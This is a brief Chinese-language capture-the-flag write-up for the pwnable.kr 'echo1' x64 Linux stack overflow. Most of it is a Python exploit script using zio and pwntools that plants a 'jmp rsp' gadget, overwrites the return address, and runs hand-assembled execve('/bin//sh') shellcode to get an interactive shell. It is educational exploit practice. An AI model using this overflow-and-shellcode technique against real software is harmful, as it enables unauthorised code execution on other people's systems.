0x0 写在前面的话
这是一个典型的栈溢出漏洞,而且运行平台为x64。同样,我也遇到了问题,没能解决,在此还是谢谢龙龙大神。溢出点找到了,由于之前做Linux溢出一直是在导入表中找函数system的地址,然后覆盖掉其它函数进行调用。在Windows平台下做过直接在栈中调用shellcode的,在Linux平台下,第一次遇到,思路不够开阔,没想到,惭愧。
0x1 简单分析
0x2 溢出脚本
from zio import *
from pwn import asm,disasm
def exp():
#io = zio(('pwnable.kr', 9010))
io = zio('./echo1', timeout = 99999)
raw_input()
io.read_until(':')
jmpesp=asm("jmp rsp", arch = 'amd64', os = 'linux')
shell =asm(
"""
xor rdx, rdx
mov rbx,0x68732f6e69622f2f
shr rbx,8
push rbx
mov rdi,rsp
push rax
push rdi
mov rsi,rsp
mov al,0x3b
syscall
mov rdi,0
mov al, 0x3c
syscall
""", arch = 'amd64', os = 'linux')
ret_addr = 0x6020A0
payload = 'a'*0x28+l64(ret_addr)+shell #aaaa' + l32(call_system) + l32(input_addr)
io.writeline(jmpesp)
io.read_until('>')
io.writeline('1')
io.writeline(payload)
io.interact()
exp()
0x3 感谢
这次又得到了龙龙大神的帮助,脚本由龙龙大神提供。
0x4 参考链接
http://blog.csdn.net/raintungli/article/details/43865041
https://www.exploit-db.com/shellcode/